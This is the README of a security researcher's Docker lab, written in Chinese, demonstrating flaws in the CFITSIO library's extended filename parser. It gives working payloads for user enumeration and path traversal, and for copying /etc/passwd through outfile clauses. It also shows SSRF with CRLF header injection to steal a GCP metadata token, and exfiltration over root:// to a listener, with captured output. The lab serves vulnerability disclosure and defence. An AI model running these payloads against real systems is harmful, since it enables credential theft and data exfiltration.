doyensec/cfitsio-efs-playground
GitHub: doyensec/cfitsio-efs-playground
这是一个 Docker 实验环境,用于演示 CFITSIO 扩展文件名语法中的安全漏洞,帮助安全团队理解和防范相关攻击。
Stars: 0 | Forks: 0
# CFITSIO EFS 安全漏洞演练环境
本项目是一个自包含实验室,用于演示我在 CFITSIO 扩展文件名语法 (EFS) 解析器中发现的安全问题。Docker 镜像会构建上游 CFITSIO(默认标签 `4.6.3`)。所有操作均在 Ubuntu 22.04 上运行,并包含辅助二进制文件 `fits-sample-opener` 以实现可重复的演示。
## 构建演练环境镜像
```
docker build -t cfitsio:4.6.3 .
```
可通过 `--build-arg CFITSIO_TAG=` 覆盖上游版本,或通过 `--build-arg CFITSIO_GIT_REF=` 固定任意引用。
## fits-sample-opener 辅助工具
[`fits-sample-opener`](fits-sample-opener.c) 是一个刻意编写的简单 C 程序,仅调用少量 CFITSIO 函数。在其默认(不安全)模式下,它调用 `fits_open_image`,记录图像已打开,执行单次 `fits_get_img_dim` 查询后退出。在安全模式(`--secure`)下,它会切换到 `fits_open_diskfile`,这将完全禁用 EFS 解析并按字面意义处理输入字符串。由于该程序执行的操作极少,您观察到的任何副作用都直接来自 CFITSIO 的 EFS 处理,而非应用程序的上层逻辑。
## 存在漏洞的场景
### 发现本地 UNIX 用户
CFITSIO 在 `drvrfile.c` 内部使用 `getpwnam` 展开类似 `~username/foo.fits` 的路径。使用 `~/foo` 调用应用程序与使用 `~nosuchuser/foo` 的行为会因账户是否存在而不同,因此您可以根据错误信息或响应时间快速枚举本地用户名——即使目标从未打算暴露此信息。
```
# 利用已知用户名进行路径遍历——它应当按预期工作
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '~root/../../../workspace/sample.fits'
# 检查服务器上是否存在用户 `bob`?
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '~bob/../../../workspace/sample.fits'
# 打开文件时返回错误
```
请注意,即使使用 `--secure` 开关,此特定实验仍然有效。此功能是在 EFS 支持之外实现的。
### 通过 outfile 子句静默复制
根据设计,CFITSIO 将 `input.fits(out.fits)` 解释为“对 `input.fits` 进行操作,但首先将其复制到 `out.fits`。”如果应用程序盲目地将用户输入传递给 `fits_open_file`,您就可以将任意文件克隆到任何可写位置。在我们的容器中,由于 `/workspace` 是绑定挂载的,文件会落到宿主机:
```
# 将 sample.fits 复制到主机的 /workspace/foo 目录下
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/workspace/sample.fits(/workspace/foo)'
# 同样的手段也能窃取敏感的主机文件!
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/etc/passwd(/workspace/foo)'
```
在现实世界中,攻击者会将文件复制到全局可读的位置,例如 Web 服务器的 images 目录。
### 通过 HTTP(S) 强制下载
HTTP/HTTPS 驱动程序遵循相同的 outfile 子句。将它们指向任何远程 URL,CFITSIO 会先将响应下载到您选择的路径,然后再将控制权返回给调用者:
```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'
```
这有效地将使用 CFITSIO 的应用程序变成了 SSRF(服务器端请求伪造)工具,能够将 Web 内容保存到进程具有写入权限的任何位置。两种 URL 处理程序基本上接受您放入标准 URL 字符串中的任何内容。特别是,它们接受本地 IP 地址和任意端口。
### 注入任意 HTTP 头
HTTP 驱动程序使用 `snprintf(tmpstr,"GET %s HTTP/1.0\r\n", fn);` 构建请求,并且从不清理 `fn`。如果您在 EFS URL 的文件名部分嵌入 `\n` 序列,CFITSIO 会将它们原样包含在请求中,让您可以选择自己的方法、头部,甚至更改协议版本。例如:
```
# 注入 GCP 元数据服务所需的头部信息,并将数据窃取到文件中
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)'
```
产生的请求等同于:
```
GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor:Google
foo:.gz HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603
Host: 169.254.169.254:80
```
这既是一个 CRLF 注入漏洞,也是一个具有任意头部的 SSRF 原语,赋予了攻击者对源自受害者进程的出站 HTTP 请求的完全控制权。在 GCP 实例上,敏感令牌被泄露到 `/workspace/output.txt` 文件中。
### 本地文件数据泄露
最后,这是我发现的最强大的原语。
CFITSIO 还附带了旧的 [`root://` 驱动程序](https://heasarc.gsfc.nasa.gov/docs/software/lheasoft/help/filetypes.txt),它与 CERN 的 `rootd` 协议通信,并且可以将文件流式传输到 EFS 字符串内指定的远程服务器。CFITSIO 使用的是稍作修改的版本,支持一个用于返回应托管文件长度的命令,该命令[在这里](ftp://legacy.gsfc.nasa.gov/software/fitsio/c/root/rootd.tar.gz)。为了在不运行完整 ROOT 部署的情况下演示此功能,请使用此仓库中的 [`root.py`](root.py) 存根。它仅接受初始握手并记录收到的任何数据,因此您可以准确观察到受损进程将要传输的内容。
#### 环境注意事项
在 `drvrnet.c:4265` 文件中实现的 `root_openfile` 方法有一个有趣的特性。它会检查 `ROOTUSERNAME` 和 `ROOTPASSWORD` 环境变量是否存在,如果未定义,它会调用 `fgets` 从 `stdin` 读取这些值。实际上,第三方代码不太可能定义这些变量。在许多情况下,利用过程会因无限期等待输入而被中断。我们可以通过交互式运行 `fits-sample-opener` 程序来轻松演示此行为。
但是!当 CFITSIO 客户端的 `stdin` 被关闭或重定向到 `EOF` 时,`fgets` 会立即返回 `NULL`。这在许多真实部署中都会发生(容器、定时任务、流水线……)。当然,我们也可以假设存在一些遗留的 NASA 服务器设置了这些变量,使得利用可以继续进行。
#### 文件格式注意事项
此外,该例程仅能正常处理 FITS 文件。窃取 FITS 文件可能是一个真实风险,但实用性肯定较低。为了窃取任意文件,我们可以利用 EFS 语法提供的另一个技巧。`[b...]` 原始数据子句告诉 CFITSIO 从任意字节流构造单个主 HDU。我们可以混合使用其他过滤器,利用 `[b500,1][*,*]` 语法将任何原始数据转换为有效的 FITS 文件。这里的数字 500 告诉应用程序恰好泄露 500 字节。如果文件大于此大小也没关系,但字节数不足会破坏利用,因此您可能需要从小数字开始。
在您的宿主机上启动存根。这将在 0.0.0.0:1094 上启动一个监听器:
```
python3 ./root.py
```
然后从容器内部将存在漏洞的程序指向它:
```
docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'
```
由于字符串包含一个带有 `root://` URL 的 outfile 子句,CFITSIO 会打开本地文件,应用请求的过滤器,然后将完整副本推送到您的存根服务器,即使 `fits-sample-opener` 中的任何部分都没有请求任何出站 I/O。存根会打印每个 PUT 的偏移量/长度以及字节预览,以便您可以确认数据泄露。
示例输出为:
```
$ python3 ./root.py
Listening on 0.0.0.0:1094 for rootd clients...
Connection from ('127.0.0.1', 44562)
recv_message: len=4 op=ROOTD_USER payload_len=0
Username:
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=4 op=ROOTD_PASS payload_len=0
Password bytes: b''
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=19 op=ROOTD_OPEN payload_len=15
Open request: //foobar create
send_message: op=ROOTD_OPEN payload_len=4
Handshake complete; entering data loop.
recv_message: len=12 op=ROOTD_PUT payload_len=8
handle_session: received ROOTD_PUT (2005) payload=b'0 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 0
PUT offset=0 length=2880 preview=b'SIMPLE = T / file does conform to FITS stand'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=15 op=ROOTD_PUT payload_len=11
handle_session: received ROOTD_PUT (2005) payload=b'2880 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 2880
PUT offset=2880 length=2880 preview=b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/u'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=4 op=ROOTD_FLUSH payload_len=0
handle_session: received ROOTD_FLUSH (2007) payload=b''
FLUSH requested
send_message: op=ROOTD_FLUSH payload_len=4
Connection closed while attempting to reply.
Captured file content (5760 bytes):
SIMPLE = T / file does conform to FITS standard BITPIX = 8 / number of bits per data pixel NAXIS = 2 / number of data axes NAXIS1 = 500 / length of data axis 1 NAXIS2 = 1 / length of data axis 2 EXTEND = T / FITS dataset may contain extensions COMMENT FITS (Flexible Image Transport System) format is defined in 'AstronomyCOMMENT and Astrophysics', volume 376, page 359; bibcode: 2001A&A...376..359H END root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
```
## 其他实验
镜像中包含了所有标准的 CFITSIO 实用工具(例如 `fitscopy`、`fpack`),因此您可以将 `fits-sample-opener` 替换为任何工具,看看它如何响应精心构造的 EFS 有效载荷。请注意,`fitsverify` 使用安全的 `fits_open_diskfile` 方法,但原因不同:[“这允许包含特殊字符(例如括号)的文件路径,否则这些路径会失败”](https://heasarc.gsfc.nasa.gov/docs/software/lheasoft/release_notes/RelNotes_6.27.2.html#:~:text=fitsverify%20(standalone%20ftverify%20variant)。
## 此目录中的文件
- `Dockerfile` – 构建 CFITSIO 并安装辅助二进制文件。
- `fits-sample-opener.c` – 在不安全和安全打开例程之间切换的参考程序。
- `sample.fits` – 演示中使用的良性示例图像。
- `root.py` - 简单的 rootd 实现。它故意设计得很精简,并非生产就绪。其唯一目的是捕获 CFITSIO 客户端发出的任何内容。
如果您发现了更多的解析器特性或想要记录防御措施,欢迎提交拉取请求。
## 致谢
此仓库由 [Doyensec LLC](https://www.doyensec.com) 的 Adrian Denkiewicz 在其 [25% 研究时间](https://doyensec.com/careers.html)内创建。

标签:CFITSIO, Docker, EFS语法, 天文学软件, 安全漏洞, 安全防御评估, 实验室环境, 捕获脚本, 文件打开, 漏洞演示, 用户枚举, 请求拦截, 路径遍历, 辅助工具, 逆向工具